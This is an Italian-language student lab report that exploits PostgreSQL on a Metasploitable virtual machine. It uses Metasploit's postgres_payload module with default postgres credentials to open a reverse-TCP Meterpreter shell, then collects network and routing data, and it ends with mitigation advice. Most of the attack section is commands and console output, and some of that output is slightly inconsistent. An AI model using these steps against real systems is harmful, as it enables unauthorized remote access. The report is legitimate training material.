

Report hacking with Metasploit

Indice

- Traccia
- Configurazione indirizzi di rete
- Identificazione vulnerabilità PostgreSQL
- Ottenimento sessione di meterpreter
- come difendersi

Traccia

Exploit PostgreSQL code execution

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 5432–PostgreSQL. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.75.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.75.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 1. configurazione di rete.
 2. informazioni sulla tabella di routing della macchina vittima.

Configurazione degli indirizzi IP su Kali e Metasploitable

- Indirizzo IP macchina Kali: 192.168.75.111

```
File Actions Edit View Help
inet 192.168.75.111 netmask 255.255.255.0 broadcast 192.168.75.255
inet6 fe80::a00:27ff:fe2b:7e2e prefixlen 64 scopeid 0<20<link>
ether 08:00:27:2b:7e:2e txqueuelen 1000 (Ethernet)
RX packets 22 bytes 3785 (3.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 27 bytes 3200 (3.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fe80::a00:27ff:fe7d:9a9f prefixlen 64 scopeid 0<20<link>
ether 08:00:27:7d:9a:9f txqueuelen 1000 (Ethernet)
RX packets 4 bytes 1830 (1.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 33 bytes 4788 (4.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0<10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

- Indirizzo IP macchina Meta: 192.168.75.112

```
[ Switched to restart ]

msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces... [ OK ]
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:83:a5:ee
          inet addr:192.168.75.112  Bcast:192.168.75.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe83:a5ee/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:7520 (7.3 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:143 errors:0 dropped:0 overruns:0 frame:0
          TX packets:143 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:44197 (43.1 KB)  TX bytes:44197 (43.1 KB)

msfadmin@metasploitable:~$ _
```

Verifica connettività tra le macchine

Ping da kali verso Meta e da Meta verso Kali

```
Kali Linux (Configurazione openvpn) [In esecuzione] - Oracle VM VirtualBox
msfadmin@kali:~$ ping 192.168.75.112 -c 5
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data:
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=0.863 ms
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=1.18 ms
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=1.44 ms
64 bytes from 192.168.75.112: icmp_seq=4 ttl=64 time=1.65 ms
64 bytes from 192.168.75.112: icmp_seq=5 ttl=64 time=1.65 ms

--- 192.168.75.112 ping statistics ---
5 packets transmitted, 4 received, 0% packet loss, time 318ms
rtt min/avg/max/mdev = 0.863/1.262/1.646/0.382 ms
msfadmin@kali:~$
```

```
Metasploitable (meta iniziale) [In esecuzione] - Oracle VM VirtualBox
msfadmin@metasploitable:~$ ping 192.168.75.111
PING 192.168.75.111 (192.168.75.111) 56(84) bytes of data:
64 bytes from 192.168.75.111: icmp_seq=1 ttl=64 time=0.919 ms
64 bytes from 192.168.75.111: icmp_seq=2 ttl=64 time=1.34 ms
64 bytes from 192.168.75.111: icmp_seq=3 ttl=64 time=0.950 ms
64 bytes from 192.168.75.111: icmp_seq=4 ttl=64 time=1.39 ms
64 bytes from 192.168.75.111: icmp_seq=5 ttl=64 time=1.28 ms

--- 192.168.75.111 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4002ms
rtt min/avg/max/mdev = 0.919/1.179/1.399/0.204 ms
msfadmin@metasploitable:~$
```

Identificazione della vulnerabilità PostgreSQL

- scansione delle porte co Nmap e identificazione della porta vulnerabilità (TPC-5432)
- Descrizione della vulnerabilità PostgreSQL

La vulnerabilità in PostgreSQL, come in molti altri sistemi di gestione dei database, può derivare da una serie di fattori che includono configurazioni errate, gestione inadeguata delle autorizzazioni, difetti di programmazione, e lacune nelle politiche di sicurezza. Tipicamente, queste vulnerabilità possono essere sfruttate per effettuare attacchi di tipo SQL injection, accesso non autorizzato ai dati, denial of service (DoS), elevazione di privilegi, o per compromettere l'integrità dei dati.

Una configurazione errata di PostgreSQL può lasciare il database esposto a reti pubbliche senza adeguati controlli di sicurezza, permettendo agli aggressori di tentare attacchi di forza bruta per indovinare le credenziali degli utenti. Inoltre, la mancata implementazione di cifratura per i dati sensibili sia a riposo che in transito può permettere intercettazioni o fughe di dati. La mancanza di aggiornamenti regolari e di patch di sicurezza apre la porta a vulnerabilità conosciute che non vengono corrette, permettendo agli attaccanti di sfruttare specifiche falle di sicurezza note.

Gli attacchi di SQL injection si verificano quando un attaccante riesce a inserire o "iniettare" un codice SQL malevolo attraverso l'input dell'applicazione per manipolare il database al fine di ottenere accesso non autorizzato o manipolare i dati. Senza una valida sanificazione degli input e controlli adeguati, gli attacchi SQL possono causare danni significativi.

La vulnerabilità può anche essere aggravata dalla mancanza di un sistema di audit efficace che impedisca di tracciare accessi non autorizzati o modifiche non autorizzate al database. Pertanto, è cruciale per gli amministratori di sistema implementare misure di sicurezza robuste e seguire le best practice di sicurezza per mitigare i rischi e proteggere le risorse di dati vitali gestite da PostgreSQL.

Scansione delle porte con Nmap e identificazione della porta vulnerabile (TCP)



```
kali@kali: ~  
$ nmap -A -T5 -p- 192.168.75.112  
Nmap scan report for 192.168.75.112  
Host is up (0.0000000s latency).  
Not shown: 65534 closed ports  
3632/tcp open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))  
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7  
_ssl-date: 2024-07-12T09:14:29+00:00; -23m22s from scanner time.  
_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX  
Not valid before: 2010-03-17T14:07:45  
_Not valid after: 2010-04-16T14:07:45
```

Procedo con un'analisi di sicurezza utilizzando il tool open source Nmap. Nmap è un software estremamente potente per l'analisi di rete, utilizzato per identificare porte aperte su dispositivi target, o anche su range di indirizzi IP. Ciò permette di determinare quali servizi di rete siano attivi e disponibili.

Il comando che andrò ad eseguire è: `nmap -A -T5 -p- 192.168.75.112`

Questo comando utilizza Nmap per effettuare una scansione generica sull'indirizzo IP 192.168.75.112. La porta 5432 è tipicamente utilizzata per il servizio PostgreSQL, che può avere diverse vulnerabilità note. Nello specifico, con il comando `-p-`, ci stiamo concentrando su tutte le porte, con il `-T5` che è una delle cinque impostazioni disponibili per controllare la velocità di scansione in Nmap ed è la più veloce e, infine, con `-A` stiamo abilitando la "detection aggressiva", che include la rilevazione della versione del servizio, il riconoscimento del sistema operativo, la scansione di script e il rilevamento di traceroute. Questo rende la scansione più approfondita e può fornire informazioni aggiuntive sulle potenziali vulnerabilità e le configurazioni del sistema bersaglio.

Ottenimento della sessione meterpreter

- **Premessa: differenza tra un exploit e un payload**

Un exploit è essenzialmente un insieme di codici o comandi progettati specificamente per individuare e sfruttare una vulnerabilità presente in un sistema informatico. L'obiettivo principale di un exploit è quello di penetrare in un sistema target sfruttando tale vulnerabilità, al fine di ottenere e conservare l'accesso a esso. Gli exploit sono tipicamente integrati in moduli che, una volta attivati, eseguono un payload. È importante sottolineare che gli exploit sono distinti da altri tipi di moduli, come quelli auxiliary, che non eseguono payload ma sono utilizzati per scopi diversi, quali lo scanning di porte, l'enumerazione di servizi, e altre funzioni di analisi e diagnostica del sistema.

Un payload è un segmento di codice che viene iniettato in un sistema o in un servizio target attraverso l'exploit. Questo codice è progettato per eseguire azioni specifiche una volta che l'exploit ha ottenuto l'accesso al sistema. Queste azioni possono includere l'ottenimento di una shell, ovvero un terminale che permette di eseguire comandi sul sistema operativo della macchina target, acquisendo talvolta privilegi amministrativi. Inoltre, un payload può essere utilizzato per compiere altre attività, come l'esecuzione di codice arbitrario definito dall'attaccante, che può variare da semplici atti di sabotaggio a complesse operazioni di spionaggio o furto di dati.

In sintesi, mentre l'exploit è il mezzo attraverso cui si sfrutta una vulnerabilità per accedere a un sistema, il payload è ciò che viene effettivamente eseguito una volta ottenuto tale accesso, determinando l'azione finale dell'attacco.

- **Avvio di metasploit e ricerca dell'exploit PostgreSQL**

Eseguo il comando **msfconsole** per avviare **Metasploit** e a seguire il comando **search PostgreSQL** per avere una lista di tutti gli exploit che sfruttano questa vulnerabilità.

Esecuzione del comando **"search PostgreSQL"** per individuare l'exploit corretto.

```

msf6 > search PostgreSQL

Matching Modules

#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -                                                                 -  -  -  -  -
0  auxiliary/server/capture/postgresql                               .              normal No      Authentication Capture: PostgreSQL
1  post/linux/gather/enum_users_history                             .              normal No      Linux Gather User History
2  exploit/multi/http/manage_engine_dc_pmp_sqli                     2014-06-08     excellent Yes     ManageEngine Desktop Central / Password
Manager LinkViewFetchServlet.dat SQL Injection
3  \ target: Automatic                                              .              .      .
4  \ target: Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows .              .      .
5  \ target: Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows .              .      .
6  \ target: Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows .              .      .
7  \ target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows .              .      .
8  \ target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows .              .      .
9  \ target: Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux .              .      .
10 \ target: Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux .              .      .
11 auxiliary/admin/http/manageengine_pmp_privsec                   2014-11-08     normal Yes     ManageEngine Password Manager SQLAdvanc
edALSearchResult.cc Pro SQL Injection
12 exploit/multi/postgres/postgres_copy_from_program_cmd_exec      2019-03-20     excellent Yes     PostgreSQL COPY FROM PROGRAM Command Ex
ecution
13 \ target: Automatic                                              .              .      .
14 \ target: Unix/OSX/Linux                                         .              .      .
15 \ target: Windows - PowerShell (In-Memory)                       .              .      .
16 \ target: Windows (CMD)                                           .              .      .
17 exploit/multi/postgres/postgres_createlang                       2016-01-01     good      Yes     PostgreSQL CREATE LANGUAGE Execution
18 auxiliary/scanner/postgres/postgres_dbname_flag_injection       .              normal No      PostgreSQL Database Name Command Line F
lag Injection
19 auxiliary/scanner/postgres/postgres_login                       .              normal No      PostgreSQL Login Utility
20 auxiliary/admin/postgres/postgres_readfile                      .              normal No      PostgreSQL Server Generic Query
21 auxiliary/admin/postgres/postgres_sqli                          .              normal No      PostgreSQL Server Generic Query
22 auxiliary/scanner/postgres/postgres_version                    .              normal No      PostgreSQL Version Probe
23 exploit/linux/postgres/postgres_payload                          2007-06-05     excellent Yes     PostgreSQL for Linux Payload Execution
24 \ target: Linux x86                                              .              .      .
25 \ target: Linux x86_64                                           .              .      .
26 exploit/windows/postgres/postgres_payload                       2009-04-10     excellent Yes     PostgreSQL for Microsoft Windows Payloa
d Execution
27 \ target: Windows x86                                           .              .      .
28 \ target: Windows x64                                           .              .      .
29 auxiliary/admin/http/rails_devise_pass_reset                    2013-01-28     normal No      Ruby on Rails Devise Authentication Pas
sword Reset
30 exploit/multi/http/rudder_server_sqli_rce                       2023-06-16     excellent Yes     Rudder Server SQLI Remote Code Executio
n
31 post/linux/gather/vcenter_secrets_dump                          2022-04-15     normal No      VMware vCenter Secrets Dump

```

Ricerca tramite il path completo dell'exploit per maggiori completezza e sicurezza ed esecuzione del comando **"show options"** per controllare le configurazioni.

```
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent Yes     PostgreSQL for Linux Payload Execution
1  \_ target: Linux x86
2  \_ target: Linux x86_64

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'

msf6 > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

Name      Current Setting  Required  Description
--      -
VERBOSE   false           no        Enable verbose output

Used when connecting via an existing SESSION:

Name      Current Setting  Required  Description
--      -
SESSION   no              no        The session to run this module on

Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
--      -
DATABASE  postgres        no        The database to authenticate against
PASSWORD  postgres        no        The password for the specified username. Leave blank for a random password.
RHOSTS    no              no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432            no        The target port
USERNAME  postgres        no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     no              yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Linux x86
```

Esecuzione dei comandi **"set RHOSTS + indirizzo IP della macchina target"** e **"set LHOST + indirizzo IP della macchina utilizzata per l'attacco (kali linux)"** per impostare e memorizzare l'indirizzo IP del target e dell'attaccante e successiva verifica dell'effettiva memorizzazione dell'IP tramite il comando **"show options"**.


```
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                   |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                            |
| RHOSTS   | 192.168.75.112  | no       | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 5432            | no       | The target port                                                                                        |
| USERNAME | postgres        | no       | The username to authenticate as                                                                        |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.75.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Linux x86 |



View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > run
```

Esecuzione del comando **“run”** che equivale al comando **“exploit”**, dove entrambi eseguono l’attacco verso il target prescelto, apertura della sessione di **“Meterpreter”** e esecuzione del comando **“ifconfig”** sulla macchina target per visionare la configurazione di rete.

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/fVlnjvtJ.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:37066) at 2024-07-12 05:19:24 -0400

meterpreter > ifconfig

Interface 1
-----
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
-----
Name       : eth0
Hardware MAC : 08:00:27:83:a5:ee
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe83:a5ee
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
-----


| Subnet       | Netmask       | Gateway | Metric | Interface |
|--------------|---------------|---------|--------|-----------|
| 192.168.75.0 | 255.255.255.0 | 0.0.0.0 | 0      | eth0      |



No IPv6 routes were found.
meterpreter > 
```

Esecuzione del comando **“route”** per aver maggiori informazioni sulla tabella di routing della macchina target.

```
meterpreter > route

IPv4 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0.0.0.0
192.168.75.112 255.255.255.0 0.0.0.0      0.0.0.0

IPv6 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::           ::
fe80::a00:27ff:fe83:a5ee ::           ::

meterpreter >
```

Come difendersi

Per mitigare le vulnerabilità di PostgreSQL, è cruciale adottare buone pratiche di sicurezza. È essenziale mantenere PostgreSQL e il sistema operativo costantemente aggiornati con le ultime patch di sicurezza, che spesso includono correzioni per vulnerabilità potenzialmente sfruttabili dagli attaccanti. È importante configurare PostgreSQL seguendo linee guida di sicurezza consolidate, che includono la disabilitazione delle funzionalità non necessarie, la limitazione dell'accesso alla rete e la configurazione adeguata dei permessi degli utenti.

L'implementazione di politiche di autenticazione robuste, come l'uso di password complesse e l'autenticazione a più fattori (MFA), è fondamentale, così come la gestione accurata dei permessi degli utenti per garantire che abbiano solo l'accesso necessario alle loro funzioni. Inoltre, è vitale mantenere una routine regolare di backup e testare i piani di recupero per assicurarsi che siano efficaci, elemento chiave per il recupero dei dati in caso di attacchi riusciti o altre interruzioni.

L'adozione di soluzioni di monitoraggio per rilevare attività sospette o non autorizzate e mantenere un sistema di audit per registrare le modifiche e gli accessi al database è altrettanto importante. Proteggere il database da accessi non autorizzati attraverso l'uso di firewall, VPN e altre tecnologie di sicurezza a livello di rete è cruciale.

Infine, è consigliabile cifrare i dati sensibili sia in transito sia a riposo, sfruttando le capacità di PostgreSQL che supporta la cifratura SSL/TLS per i dati in transito e offre opzioni per la cifratura dei dati a riposo. Considerare l'uso di strumenti di sicurezza dedicati e servizi di monitoraggio delle vulnerabilità può aiutare a rimanere sempre aggiornati sulle minacce emergenti e sulle pratiche di mitigazione. Implementando queste strategie, è possibile ridurre notevolmente il rischio di esposizione a vulnerabilità in PostgreSQL e migliorare la sicurezza complessiva del sistema.